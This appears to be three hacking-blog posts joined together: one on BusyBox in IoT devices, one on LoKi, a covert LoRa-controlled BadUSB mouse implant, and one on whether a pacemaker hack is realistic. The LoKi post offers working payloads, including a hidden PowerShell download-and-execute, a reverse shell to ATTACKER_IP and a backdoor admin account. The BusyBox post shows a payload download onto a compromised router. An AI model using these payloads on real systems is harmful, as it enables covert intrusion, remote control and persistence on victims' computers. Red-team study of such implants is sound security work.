Welcome back, my aspiring cyberwarriors!

To be able to hack the Internet of Things(IoT), smart home, smart TV, IP camera, VPN, routers and other such devices, the more you understand of Linux, the more success you will have. Nearly all of these devices use embedded Linux with tiny small kernels. The most popular of these embedded, tiny kernel Linuxes is BusyBox.

BusyBox sees itself as the Swiss Army Knife of Embedded Linux. It is a software component that combines tiny versions of many Unix utilities into a single binary.

In this article, we’ll explore what BusyBox is, its benefits and drawbacks, and how to get started using it on Kali Linux. Let’s get rolling!

What is BusyBox?

BusyBox is a lightweight software suite that combines many common Unix utilities into a single small executable file. Rather than having separate executables for each command like ls, cp, mv and tar, BusyBox packages all these utilities into one binary. When executed, BusyBox determines which tool to run based on how it was invoked, either through symbolic links or command-line arguments.

Typically weighing in at under 1MB, BusyBox can provide implementations of over 300 Unix utilities, including file operations, text processing tools, network utilities, system administration commands, and shell functionality. While these implementations are simplified compared to their full-featured GNU counterparts, they maintain compatibility with standard Unix command syntax for most common operations.

History and Development

BusyBox was created in 1996 by Bruce Perens as part of the Debian GNU/Linux installer. The original motivation was to create a rescue disk that could fit on a single floppy disk while still providing essential Unix tools.

The project gained significant momentum when it was adopted by embedded Linux developers who faced similar space constraints in their target devices. As embedded systems proliferated in the late 1990s and early 2000s, BusyBox became increasingly important for devices with limited flash memory and RAM.

Over the years, BusyBox has been maintained by various developers, with Erik Andersen taking over development in the early 2000s and later Denys Vlasenko becoming the primary maintainer. The project has remained active and continues to evolve, with regular updates that add new utilities, improve compatibility, and enhance performance.

The development philosophy has remained consistent throughout its history: provide maximum functionality with minimum resource usage while maintaining reasonable compatibility with standard Unix tools.

Benefits and Advantages

BusyBox offers several compelling advantages that have made it a cornerstone of embedded Linux systems:

Space Efficiency: The most obvious benefit is BusyBox’s incredibly small footprint. By sharing code between utilities and eliminating redundant functionality, it achieves dramatic space savings compared to installing individual tools separately. A typical BusyBox installation might occupy less than 1MB while providing functionality equivalent to tens of megabytes of traditional utilities.

Memory Optimization: Beyond storage savings, BusyBox also conserves RAM by sharing common code paths between utilities. This is particularly valuable in embedded systems where memory is often severely constrained.

Simplified Deployment: Having all essential utilities in a single binary simplifies system deployment and reduces the complexity of dependency management. This is especially valuable in embedded systems where minimizing the number of moving parts is crucial for reliability.

Consistent Behavior: While individual GNU utilities may have different compilation options or versions across systems, BusyBox provides consistent behavior across deployments, which can reduce compatibility issues.

Customizability: BusyBox can be configured to include only the specific utilities needed for a particular application, allowing for even greater space optimization. This modular approach lets developers create highly specialized systems.

Performance: For many common operations, BusyBox utilities can actually outperform their full-featured counterparts due to their streamlined implementations and reduced overhead.

Why Hackers Should Care?

Portability: BusyBox works on almost any Linux or Unix-like system.

Minimal Footprint: Perfect for custom hacking distros, bootable USBs, or CTFs.

Essential for Embedded Targets: Many IoT devices and routers run BusyBox by default—knowing it helps you exploit or secure them

Stealth: BusyBox can be statically compiled and dropped onto a target for post-exploitation, giving you a full set of tools even on stripped-down systems.

Where BusyBox is Used

Domain	Examples / Usage
Embedded Systems	Used in router firmware, smart TVs, automotive infotainment, and industrial control systems. Brands: Linksys, Netgear, D-Link.
Container Environments	Alpine Linux (used in Docker containers) uses BusyBox as the default CLI toolkit to reduce image size and resource usage.
IoT Devices	Incorporated into low-power Internet of Things devices to provide essential system functions with minimal resource usage.
Recovery & Rescue Systems	Used in Linux rescue disks and recovery tools to offer a full Unix environment in limited space. Continues the legacy from the Debian installer.
Mobile Devices	Found in Android recovery mode and mobile Linux distributions for maintenance and emergency operations.
Educational Systems	Used on devices like the Raspberry Pi in educational environments for its simplicity and low resource footprint.

Essential BusyBox Commands for Hackers

Here’s a quick reference to some of the most useful BusyBox applets for hacking and pentesting

Command	Purpose
ls	List files and directories
cp	Copy files
mv	Move/rename files
rm	Remove files
cat	View file contents
grep	Search for patterns in files
awk	Pattern scanning and processing
sed	Stream editor for filtering and transforming text
vi	Text editor
wget	Download files from the web
nc	Netcat for networking
ifconfig	Configure network interfaces
ps	List running processes
kill	Send signals to processes
sh	Shell (ash)

Getting Started with BusyBox on Kali Linux

First, verify that BusyBox is installed on your Kali system:

kali> busybox –help

BusyBox can be invoked in several ways. The most straightforward method is to call it directly with the desired utility as an argument:

kali> busybox ps aux

To see all utilities available in your BusyBox installation:

kali> busybox –list

In hacking/penetration testing scenarios, BusyBox utilities can be particularly useful:

• Network reconnaissance: Use busybox nslookup or busybox ping for basic network discovery

• File operations: busybox find, busybox grep, and busybox awk for log analysis and file searching
• System analysis: busybox ps, busybox netstat, and busybox top for system monitoring

• Text processing: busybox sed and busybox cut for parsing command output

Security Considerations and Notable Attacks

While BusyBox itself is generally well-maintained and secure, its widespread deployment in embedded systems has made it a target for various security concerns:

Firmware Vulnerabilities: Many security incidents involving BusyBox have actually been related to vulnerabilities in the surrounding firmware or system configuration rather than BusyBox itself. However, because BusyBox is so commonly used in embedded devices, it often becomes part of the attack surface.

IoT Botnets: Several large-scale IoT botnets, including variants of Mirai, have targeted devices running BusyBox. These attacks typically exploit weak default credentials or unpatched vulnerabilities in the broader system rather than BusyBox-specific flaws.

Supply Chain Concerns: Because BusyBox is embedded in so many devices, vulnerabilities in BusyBox can have far-reaching consequences.

Configuration Issues: Many security problems arise from mis-configurations or the inclusion of unnecessary utilities that expand the attack surface. The modular nature of BusyBox, while beneficial for customization, requires careful consideration of which utilities to include.

The embedded nature of many BusyBox deployments can make security updates challenging, as end users often cannot easily update the firmware on their devices. This has led to situations where known vulnerabilities persist in deployed devices long after fixes are available.

Real-World Example

Suppose you’ve gained shell access on a router that runs BusyBox. Here’s how you might use it to enumerate the system and pivot further, you could;

bash# List users
busybox cat /etc/passwd

# Check network interfaces
busybox ifconfig

# Scan for open ports (if netcat is available)
busybox nc -zv 127.0.0.1 1-1024

# Download a script or tool
busybox wget http://yourserver/payload.sh

# Get a shell
busybox sh

Summary

As computing continues to diversify into edge devices, IoT systems, and resource-constrained environments, BusyBox remains as relevant as ever. Its combination of small size, comprehensive functionality, and proven reliability ensures its continued importance in the embedded Linux ecosystem.

If you’re curious about how tools like BusyBox power the tech world and want to learn Linux yourself, now’s a great time to begin. Take a look at our Linux Basics for Hackers Bundle — it’s a practical, beginner-friendly way to learn Linux.

The post IoT Embedded Linux: BusyBox, the Most Widely Used Linux in IoT first appeared on Hackers Arise.

Welcome back, cyberwarriors!

We’ve had different series on building your own BadUSB. Together we built a hacking drone and a WiFi Pineapple to test wireless devices. Aircorridor covered Meshtastic, secured his node and showed how it works in different conditions.

Today, we want to show you LoKi, which is a LoRa/Meshtastic based implant for red teaming. You can send commands to a LoKi device using long range (LoRa) radio signals and it runs whatever it was asked to, creating backdoors or setting up a reverse shell with a C2. You can get really creative here.

LoKi 

LoKi came out recently and was presented at DEF CON 34 in the Demo Labs. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same. There’s nothing suspicious about it and the victim won’t notice anything.

Here’s how its architecture looks. On the left you’ve got multiple Meshtastic devices forming a mesh network. One of them sends a command over LoRa radio to the implant. The LoRa module receives the message and converts it into USB HID keystrokes, like a RubberDucky. Those keystrokes then go into the USB hub.

The original mouse electronics (Mouse USB Header) are also connected to the same USB hub, but the USB cable that used to run straight from the mouse PCB to the computer gets cut. The LoRa implant and the original mouse are now wired through the USB hub instead. The red lines show this new path.

Hardware

For the LoRa module the developer picked the Heltec V3 Lite. He used the Heltec V3 with the OLED display for prototyping, but the V3 Lite draws less power and you can easily fit it into wired USB mice. The Heltec V3 also has an extra USB port that you can configure as any device class, but we need the HID device class for this attack. The onboard USB with the type C connection is a fixed CDC class for programming and debugging. You can’t change that.

For the USB hub he picked the Adafruit CH334F. It’s a tiny 2 port hub that’s a perfect fit for this project.

And here’s a photo of his early prototype.

Schematics

The Heltec V3 and V3 Lite devices have the additional USB port on different pins. The one below is for the Heltec V3 Lite.

Here the Heltec Wireless Stick Lite is connected to one port of the Adafruit CH334F USB hub using its secondary USB data lines (GPIO20 as D+ and GPIO19 as D-), along with 5V and ground. These pins are configured in firmware as a USB HID keyboard, so the board can inject keystrokes. The original mouse’s USB header is wired to the second port of the same hub using the standard color coded wires (red for 5V, green for D+, white for D-, and black for ground), so the mouse keeps functioning normally.

The host side of the hub is connected to the mouse’s original USB cable, which then plugs into the target computer. That way one USB connection carries both the genuine mouse and the hidden keyboard implant.

Firmware

The implant runs a modified version of the official Meshtastic firmware, which you can find here. It’s a fork of the Meshtastic code with custom additions for the implant. You can send the same style of commands used by the USB Rubber Ducky (STRING, DELAY, GUI, CTRL, ENTER, and so on). The firmware only works with direct messages addressed to the implant and ignores normal broadcast chat traffic, so ordinary Meshtastic messages can’t accidentally trigger keystrokes.

You can use PlatformIO to flash the firmware.

Payloads

The project doesn’t really include any payload, so you’ll need to come up with your own. Here are some payloads we made for you:

Download and execute a payload:

GUI r
DELAY 1000
STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://yourserver/payload.ps1')"
ENTER

Create a reverse shell:

GUI r
DELAY 1000
STRING powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb2b=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb2b,0,$sb2b.Length)}"
ENTER

Add a local admin user:

GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1000
STRING net user backdoor P@ssw0rd123 /add
ENTER
STRING net localgroup administrators backdoor /add
ENTER

There’s also a table we left for you to grasp the logic, if you’re not familiar with it.

Summary

Before LoKi we used to work with loops and control these rogue devices over WiFi. Now you can do it with a lot more range. A mouse is just an example, it can be swapped out for something else. The core idea of LoKi is that it’s a LoRa implant. It’d be great to see more creative ideas built around it.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. Master OTW will show how to use your computer and inexpensive SDR hardware to hack a wide range of radio signals. It’s available for beginners and advanced students.

The post Persistence: Sending Keystrokes from Kilometers Away with LoKi first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

IoT hacking is one the cutting-edge fields of cybersecurity. This includes IP cameras, Bluetooth devices, Home Security systems, Smart Home devices, and well…unfortunately, medical devices. Each of these devices is vulnerable to attackers taking control of the device, using it in a botnet, or even using it as foothold within your network to pivot to more valuable systems in your home or office.

I really enjoy when mass media depicts hackers accurately. Most TV shows and movies make the hackers look like wizards with superpowers but, in reality, we are just regular people…with superpowers. Mr Robot is my favorite show because it depicts real hacks and hacking.

Often, art imitates and life, and sometimes life imitates art. There was an intriguing TV show a few years back called Homeland. It was about an American soldier captured in Iraq who is turned against his country. When he is released from captivity and sent back to the US, he is determined to exact his revenge upon the US Vice-President who had committed war crimes in Iraq that he witnessed (most people would infer that this character is the former US VP, Dick Cheney). To do so, he attempts to hack his heart pacemaker. Is this hack real?

Let’s examine it.

The Scene

In the show, Nicholas Brody, the American soldier, assassinates the U.S. Vice President by hacking his heart pacemaker. In this case, Brody learns the VP has a heart pacemaker (the real-life Cheney does have a pacemaker) with wireless management capability to make it easier for doctor to monitor and control. Brody then gets the device’s serial number via a corrupt congressman. He then remotely connects to the pacemaker using the serial number and sends a lethal command, causing the VP’s heart to fail instantly killing the Vice-President and accomplishing his mission.

How Real Is This?

This scene is not pure fiction. The Homeland scenario is dramatized, but the core risk is real. A famous hacker known as Barnaby Jack, developed a hack that he said could kill someone from 50ft away. Suspiciously, he died suddenly before he could give the details at a cybersecurity conference.

Here are the steps necessary to execute (no pun intended) this attack.

Step 1. Wireless Medical Devices Are Vulnerable

• Many pacemakers and implantable cardioverter-defibrillators (ICDs) use wireless protocols (like Bluetooth or proprietary RF) to communicate with doctors’ equipment for monitoring and reprogramming.
• Security researchers have shown these wireless links can be intercepted or spoofed, especially if encryption/authentication is weak or missing.

Step 2. Serial Numbers and Authentication

• In Homeland, the serial number is used as a “password.” In reality, some devices have used static or easily guessable credentials, and some have been shown to accept commands with minimal authentication.
• Security researchers (like Barnaby Jack) have demonstrated attacks requiring only proximity and a bit of device info to take control of pacemakers and ICDs.

Step 3. What Can a Hacker Do?

• Pacemakers: Typically, they only deliver low-voltage pulses to regulate heartbeat. They cannot deliver a lethal shock.
• ICDs: These can deliver high-voltage shocks to correct dangerous arrhythmias. If hacked, an attacker could theoretically trigger a shock at the wrong time, potentially inducing heart attack.
• Remote attacks: If the device is internet-connected (directly or via a paired device), attacks could be launched from anywhere.

Step 4. Real-World Paranoia

• Former VP Dick Cheney had the wireless feature of his own ICD disabled out of fear of assassination by hacking.
• The FDA has recalled devices over vulnerabilities, and researchers have repeatedly shown proof-of-concept hacks on medical devices

Attack Chain: How a Real-World Pacemaker/ICD Hack Might Work

Step	Technique/Vector
Recon	Identify device make/model (hospital records, social engineering, physical access)
Info Gathering	Obtain serial number (physical inspection, medical leaks, social engineering)
Wireless Probing	Use SDR, Bluetooth, or RF tools to sniff device traffic
Authentication Bypass	Exploit weak/no authentication to connect
Command Injection	Send malicious commands (change pacing, trigger shock on ICD)
Impact	Disrupt heart rhythm, potentially cause cardiac event

Why This Matters to You

• Medical devices are computers: Old, unpatched, and often lacking basic security controls.
• Attack surface is growing: More devices connect via Wi-Fi, Bluetooth, or even the internet for remote monitoring.
• Life-and-death consequences: Unlike most hacks, these can kill.

Summary

Although the Homeland hack is dramatized, the underlying threat is real. IoT hacking is among the most important fields of cybersecurity and is often overlooked. IoT devices, like this heart-pacemaker, are often shipped with little concern for security. If the medical device industry does not up its cybersecurity game, sadly, people will die.

As a hacker or defender, know that:

• Medical device security is often an afterthought.
• Wireless and networked implants are vulnerable to attack if not properly secured.
• Physical and cyber hygiene (disabling wireless, patching firmware, strong authentication) is critical for life-critical systems.

Look for our upcoming Medical Device Hacking training

The post The “Homeland” VP Pacemaker Hack: Is This Attack Realistic? first appeared on Hackers Arise.